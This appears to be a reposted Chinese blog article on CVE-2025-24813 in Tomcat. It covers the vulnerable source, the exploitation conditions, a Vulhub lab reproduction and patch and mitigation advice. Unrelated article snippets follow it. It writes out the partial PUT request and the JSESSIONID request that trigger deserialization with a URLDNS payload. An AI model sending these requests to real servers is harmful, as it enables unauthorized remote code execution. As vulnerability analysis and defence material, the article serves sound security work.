CVE-2025-24813源码分析与漏洞复现(Tomcat 路径等效漏洞与反序列化RCE)

漏洞概述

漏洞名称:Tomcat 路径等效漏洞+反序列化远程代码执行(RCE)
CVE 编号:CVE-2025-24813
CVSS 评分:9.8
影响版本

  • 9.0.0.M1 ≤ Tomcat ≤ 9.0.98
  • 10.1.0-M1 ≤ Tomcat ≤ 10.1.34
  • 11.0.0-M1 ≤ Tomcat ≤ 11.0.2
    修复版本:≥ 9.0.99 / 10.1.35 / 11.0.3
    漏洞类型:路径遍历 + 反序列化RCE
    根本原因
  1. 路径等效缺陷:Tomcat 处理 partial PUT 请求时未正确规范化含 ../ 的路径,导致恶意文件可写入敏感目录。
  2. 反序列化缺陷:结合文件会话持久化机制及存在漏洞的反序列化库(如 Commons-Collections),可触发远程代码执行。

漏洞原理与源码分析

1. 漏洞触发条件

需同时满足以下非默认配置

  • 显式启用 DefaultServlet 写入功能:在 conf/web.xml 中配置 readonly=false(默认 true)。
  • 启用基于文件的会话持久化:在 conf/context.xml 中配置 PersistentManager + FileStore(默认基于内存)。
  • 类路径包含反序列化利用链库:如 commons-collections-3.2.1.jar
  • 启用 partial PUT 请求(默认开启)。

2. 关键源码定位

(1)路径处理缺陷:FileStore#save
代码路径org.apache.catalina.session.FileStore

 public void save(Session session) throws IOException {File file = this.file(session.getIdInternal());// 会话ID生成文件if (file != null) {if (this.manager.getContext().getLogger().isTraceEnabled()) {this.manager.getContext().getLogger().trace(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()}));}FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());try {ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));try {((StandardSession)session).writeObjectData(oos); // 序列化数据写入文件  } catch (Throwable var9) {try {oos.close();} catch (Throwable var8) {var9.addSuppressed(var8);}throw var9;}oos.close();} catch (Throwable var10) {try {fos.close();} catch (Throwable var7) {var10.addSuppressed(var7);}throw var10;}fos.close();}}

漏洞点:将会话ID中的 / 替换为 .(如 poc/sessionpoc.session),但未过滤 ../,导致路径遍历。

(2)Partial PUT 文件写入:DefaultServlet#doPut
代码路径org.apache.catalina.servlets.DefaultServlet

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (this.readOnly) {// 1. 只读模式检查(默认true安全)this.sendNotAllowed(req, resp);} else {// 2. 获取未经验证的相对路径(核心漏洞点)String path = this.getRelativePath(req);WebResource resource = this.resources.getResource(path);// 3. 解析Content-Range头(支持partial PUT)Range range = this.parseContentRange(req, resp);if (range != null) {InputStream resourceInputStream = null;try {if (range == IGNORE) {// 4a. 完整文件上传resourceInputStream = req.getInputStream();} else {// 4b. 分块上传处理(漏洞利用关键)File contentFile = this.executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);}// 5. 将输入流写入目标路径(无路径校验)if (this.resources.write(path, (InputStream)resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(204);} else {resp.setStatus(201);}} else {try {resp.sendError(409);// 409 Conflict} catch (IllegalStateException var15) {}}} finally {if (resourceInputStream != null) {try {((InputStream)resourceInputStream).close();} catch (IOException var14) {}}}}}}

绕过机制:攻击者通过 partial PUT 上传含 ../ 的路径(如 /uploads/../work/session),经替换后生成 .work.session 文件,落入会话存储目录 work/Catalina/localhost/ROOT

(3)反序列化触发点:FileStore#load
代码路径org.apache.catalina.session.FileStore#load

public Session load(String id) throws ClassNotFoundException, IOException {File file = this.file(id);if (file != null && file.exists()) {Context context = this.getManager().getContext();Log contextLog = context.getLogger();if (contextLog.isTraceEnabled()) {contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));}ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);ObjectInputStream ois;try {FileInputStream fis = new FileInputStream(file.getAbsolutePath());StandardSession var9;try {ois = this.getObjectInputStream(fis);try {StandardSession session = (StandardSession)this.manager.createEmptySession();session.readObjectData(ois); // 这里是实际反序列化session.setManager(this.manager);var9 = session;} catch (Throwable var19) {if (ois != null) {try {ois.close();} catch (Throwable var18) {var19.addSuppressed(var18);}}...

RCE链:当用户访问携带恶意 JSESSIONID 的链接(如 JSESSIONID=.poc)时,loadSessionFromStore() 加载文件并反序列化,若环境中存在 commons-collections 等利用链,则执行任意代码。

3. 漏洞利用链

攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统 发送Partial PUT请求(路径含../) 路径替换(/ → .)写入恶意session文件 携带JSESSIONID=.poc访问页面 加载并反序列化session文件 触发Gadget链 执行任意命令(如弹出计算器) 攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统

漏洞复现

1.使用 Vulhub 环境启动漏洞靶机

docker-compose build
docker-compose up -d
  • 如果启动有问题可以尝试
docker build -t my-tomcat .
docker run -d --privileged -p 8080:8080 my-tomcat

2.访问 http://target:8080,确认服务正常运行

在这里插入图片描述

3.下载Yakit工具

4.下面进行最简单的URLDNS验证,无需导入其他恶意包

  • 在(https://dig.pm/)申请域名
    在这里插入图片描述

  • 启动yakit,使用下面图片中的功能
    在这里插入图片描述

  • 选择URLDNS,输入之前申请的域名,然后生成base64的payload

在这里插入图片描述

  • yakit发送请求包(不要用bp),打开如下功能
    在这里插入图片描述
  • 先发送如下请求包
PUT /666/session HTTP/1.1
Host: 192.168.1.100:8080
Content-Length: 2102
Content-Range: bytes 0-1000/1200{{base64dec(恶意代码)}}//将ip换为自己的,恶意代码换为之前生成的base64的payload

在这里插入图片描述

  • 紧接着快速发送如下请求
GET / HTTP/1.1
Host: 192.168.1.100:8080
Cookie: JSESSIONID=.666

在这里插入图片描述

  • 返回dig.pm点击get results 获取到记录
    在这里插入图片描述

影响范围与修复方案

1. 受影响版本

Tomcat 分支受影响版本安全版本
9.x9.0.0.M1 - 9.0.98≥ 9.0.99
10.x10.1.0-M1 - 10.1.34≥ 10.1.35
11.x11.0.0-M1 - 11.0.2≥ 11.0.3

2. 官方修复方案

  • 补丁提交:GitHub Commit
  • 修复逻辑
    1. 路径规范化校验:在 FileStore#save 中禁止路径含 ../
    2. 禁用危险属性:在 AjpProcessor 中拦截 javax.servlet.include.* 属性。
    3. 强制会话文件签名:添加 HMAC 校验防止篡改。

3. 临时缓解措施

措施操作步骤
禁用 DefaultServlet 写入conf/web.xml 中设置 <param-value>true</param-value>
关闭文件会话持久化移除 conf/context.xml 中的 <Manager> 配置
移除反序列化漏洞库删除 WEB-INF/lib/ 下的 commons-collections-3.x.jar 等危险库
网络层拦截Nginx 配置过滤含 ../ 的请求:if ($request_uri ~* "\.\.") { return 403; }

漏洞启示:

  1. 配置最小化:生产环境禁用非必要功能(如 readonly=false 和文件会话持久化)。
  2. 依赖库安全管理:定期扫描 WEB-INF/lib 中的危险库(如 Commons-Collections)。
  3. 纵深防御:结合代码补丁、WAF 规则(拦截 ../partial PUT)和文件监控(审计 work/ 目录)。
  4. 漏洞利用复杂性:尽管需多条件叠加,但企业内网中易存在错误配置,需全面自查。

参考链接

  1. Apache 官方安全通告 - 修复版本下载
  2. 漏洞原理深度解析(Akamai) - 攻击流量分析
  3. 复现指南与环境配置(腾讯云) - 详细 PoC 步骤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/87772.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/87772.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析:如何实时获取Socket接收缓冲区的数据量

在网络编程中&#xff0c;精确掌握接收缓冲区的数据状态是优化性能的关键。本文将揭秘如何跨平台获取socket接收缓冲区的可读数据量&#xff0c;并分析实际应用中的注意事项。 一、核心API&#xff1a;操作系统级数据探针 1. Windows平台方案 #include <winsock2.h>// …

Edge卸载应用

Edge安装应用后&#xff0c;出现在开始菜单&#xff0c;不能卸载。

Cursor Rules 的核心定位与作用

Cursor Rules 是 AI 编程工具 Cursor IDE 中的核心功能&#xff0c;用于约束 AI 生成代码的行为&#xff0c;确保其符合项目规范、编码风格或特定技术需求。它本质上是一套持久化、可复用的指令集&#xff0c;会动态插入到 AI 模型的上下文提示中&#xff0c;指导其生成代码的逻…

多线程爬虫优化:快速爬取并写入CSV

在数据驱动的时代&#xff0c;爬虫技术已成为获取网络数据的重要手段。然而&#xff0c;随着数据量的不断增加&#xff0c;单线程爬虫的效率逐渐难以满足需求。多线程爬虫通过并行处理&#xff0c;能够显著提升爬取速度&#xff0c;同时将数据快速写入CSV文件&#xff0c;为后续…

Deepseek+墨刀,1min快速生成流程图!

想要了解快速了解产品逻辑&#xff0c;可以用ds墨刀快速生成流程图~ deepseek链接&#xff1a;https://www.deepseek.com/ 墨刀在线&#xff1a;https://modao.cc/brand 如何操作呢&#xff1f; 1.打开deepseek&#xff0c;输入以下咒语&#xff0c;让AI用Mermaid语法绘制流…

LangChain4j流式调用、消息注解与会话记忆

我们先用AiService工具类把调用ai大语言模型的代码写出来。因为AiService工具类中整合有记忆、Rag知识库、tools工具等&#xff0c;我们直接配置调用即可。 我用的是qwen-plus模型。 引入依赖&#xff1a; <dependency><groupId>dev.langchain4j</groupId>…

NtfsWriteLog函数分析之OpenAttributeTableDump

第一部分&#xff1a; NtfsWriteLog( IrpContext, Vcb->MftScb, //注意&#xff1a;Vcb->MftScb NULL, OpenAttributeTableDump, …

DCM4CHEE ARCHIVE LIGHT 源代码解析(2)-STOWRS

系列文章目录 DCM4CHEE ARCHIVE LIGHT 源代码解析(1)-前言DCM4CHEE ARCHIVE LIGHT 源代码解析(2)-STOWRS文章目录 系列文章目录概述一、背景资料1、RESTful服务2、传输存储规范3、服务连接策略4、响应消息状态二、业务分析1、对象关系2、项目结构3、业务流程三、代码解析1、w…

Java中间件简介:构建现代软件的“隐形桥梁”

Java中间件简介&#xff1a;构建现代软件的“隐形桥梁” 在软件开发的世界里&#xff0c;中间件&#xff08;Middleware&#xff09;是一个既熟悉又神秘的存在。它不像数据库那样直接存储数据&#xff0c;也不像前端那样与用户交互&#xff0c;但它却是现代软件架构中不可或缺…

Scale AI 的王晓磊带着对整个 AI 行业动态的深入了解加入 Meta

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

冒烟测试概念速解

最近很多人对冒烟测试这个概念发出疑问。那么我就来简单解释一下什么是冒烟测试&#xff0c;以及冒烟测试的由来。 1.冒烟测试的由来 硬件测试的起源&#xff1a;从 “冒烟” 到基础功能验证 在电子工程领域&#xff0c;早期工程师在调试新硬件&#xff08;如电路板、芯片&am…

嵌入式学习笔记——day36-多路IO复用

一、基本概念 &#xff08;服务器多客户端模型&#xff09; 定义&#xff1a; 单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用&#xff1a; 应用程序通常需要处理来自多条事件流中的事件&#xff0c;比如我现在用的电脑&#xff0c;需要同时处理键盘鼠…

微服务数据一致性技术解析:从单体到微服务的数据困局

关键词: 微服务数据一致性, 企业应用, 技术架构, 最佳实践 本文基于多位资深架构师在大型互联网公司的实战经验总结&#xff0c;希望能为正在进行微服务改造的团队提供有价值的参考。如果您在实践中遇到问题&#xff0c;欢迎交流讨论&#xff01; 目录 一、引言&#xff1a;从…

华为云Flexus+DeepSeek征文 | 基于华为云ModelArts Studio搭建Chatbox AI聊天助手

华为云FlexusDeepSeek征文 | 基于华为云ModelArts Studio搭建Chatbox AI聊天助手 引言一、ModelArts Studio平台介绍华为云ModelArts Studio简介ModelArts Studio主要特点 二、Chatbox介绍Chatbox简介主要特点 三、安装Chatbox应用下载Chatbox软件安装Chatbox工具 四、开通Deep…

基于cpolar的GPT-SoVITS远程访问实践过程

文章目录 前言1.GPT-SoVITS V2下载2.本地运行GPT-SoVITS V23.简单使用演示4.安装内网穿透工具4.1 创建远程连接公网地址 5. 固定远程访问公网地址 前言 在人工智能技术持续革新之际&#xff0c;语音合成领域涌现出突破性进展。由开发者团队"花儿不哭"研发的GPT-SoVI…

Redis数据结构之HyperLogLog

本文作者没有设置VIP可见&#xff0c;并首发在我的博客&#xff1a;https://blog.liuzijian.com/post/redis-data-structure-hyperloglog.html 目录 1.概述2.常用命令2.1 添加元素2.2 返回基数估算值2.3 合并hyperloglog 3.总结 1.概述 基数统计是一种去重复统计功能的基数估计…

django调用 paramiko powershell 获取cpu 核数

在 Django 应用中使用 paramiko 库通过 SSH 连接到远程服务器并执行命令&#xff08;例如获取 CPU 核数&#xff09;是一个常见的需求。下面是一个如何实现这一过程的步骤指南&#xff1a; 步骤 1: 安装必要的库 首先&#xff0c;确保你的 Django 项目中安装了 paramiko 库。如…

08-Python文件处理

08-Python文件处理 一、打开关闭文件 可以用 file 对象做大部分的文件操作。 file()在python3中已经被废除&#xff0c;使用open()打开文件 open 函数 先用open()打开一个文件&#xff0c;创建一个file 对象&#xff0c;再用相关方法才可以调用它进行读写。 语法 file ob…

增强现实—Multimodal text style transfer for outdoor vision-and-language navigation

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

黑马程序员新版Linux学习笔记——第二部分 基础命令

一、Linux目录结构 二、命令基础 三、ls 列目录内容 3.1 命令 3.2 参数 3.3 总结 四、cd 切换工作目录 4.1命令 五、pwd 查看当前工作目录 5.1命令 六、相对路径、绝对路径、特殊路径符 七、mkdir 创建目录命令 7.1命令 八、touch、cat、more 文件操作命令 8.1 touch 8.2c…